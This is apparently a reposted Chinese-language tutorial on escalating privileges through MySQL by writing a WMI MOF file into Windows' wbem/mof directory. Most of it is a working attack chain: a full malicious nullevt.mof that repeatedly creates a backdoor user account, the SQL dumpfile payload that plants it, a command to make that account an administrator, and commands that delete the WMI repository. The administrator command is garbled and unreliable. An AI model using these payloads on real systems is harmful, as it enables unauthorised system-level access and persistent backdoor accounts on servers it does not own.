MySQL提權之mof提權


mof提權原理

關於 mof 提權的原理其實很簡單,就是利用了 c:/windows/system32/wbem/mof/ 目錄下的 nullevt.mof 文件,每分鍾都會在一個特定的時間去執行一次的特性,來寫入我們的cmd命令使其被帶入執行。下面簡單演示下 mof 提權的過程!

MOF提權的條件要求十分嚴苛:

1.windows 03及以下版本
2.mysql啟動身份具有權限去讀寫c:/windows/system32/wbem/mof目錄
3.secure-file-priv參數不為null
MOF文件

托管對象格式 (MOF) 文件是創建和注冊提供程序、事件類別和事件的簡便方法。文件路徑為:c:/windows/system32/wbme/mof/,其作用是每隔五秒就會去監控進程創建和死亡。

提權原理

MOF文件每五秒就會執行,而且是系統權限,我們通過mysql使用load_file 將文件寫入/wbme/mof,然后系統每隔五秒就會執行一次我們上傳的MOF。MOF當中有一段是vbs腳本,我們可以通過控制這段vbs腳本的內容讓系統執行命令,進行提權

 

公開的nullevt.mof利用代碼

 

 1 #pragma namespace("\\\\.\\root\\subscription")
 2 instance of __EventFilter as $EventFilter
 3 {
 4 EventNamespace = "Root\\Cimv2";
 5 Name = "filtP2";
 6 Query = "Select * From __InstanceModificationEvent "
 7 "Where TargetInstance Isa \"Win32_LocalTime\" "
 8 "And TargetInstance.Second = 5";
 9 QueryLanguage = "WQL";
10 };
11 instance of ActiveScriptEventConsumer as $Consumer
12 {
13 Name = "consPCSV2";
14 ScriptingEngine = "JScript";
15 ScriptText =
16 "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")";
17 };
18 instance of __FilterToConsumerBinding
19 {
20 Consumer = $Consumer;
21 Filter = $EventFilter;
22 };

 

MOF文件利用

將上面的腳本上傳到有讀寫權限的目錄下:

這里我上傳到了C:\Documents and Settings\test

根據前面的phpmyadmin,我們使用sql語句將文件導入到c:/windows/system32/wbem/mof/
payload:

select load_file("C:/Documents and Settings/testtest.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"

值得一提的是,這里不能使用outfile,因為會在末端寫入新行,因此mof在被當作二進制文件無法正常執行,所以我們用dumpfile導出一行數據。

驗證提權

當我們成功把mof導出時,mof就會直接被執行,且5秒創建一次用戶。

 

 

 可以看到,我們在test的普通用戶下直接添加了hpdoger用戶。剩下的操作就是用戶命令處,換成加入administrator語句即可:

net.exe user localgroup administrator hpdoger /add\

關於Mof提權的弊端

我們提權成功后,就算被刪號,mof也會在五秒內將原賬號重建,那么這給我們退出測試造成了很大的困擾,所以謹慎使用。那么我們如何刪掉我們的入侵賬號呢?

cmd 下運行下面語句:

net stop winmgmt
del c:/windows/system32/wbem/repository
net start winmgmt

重啟服務即可。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM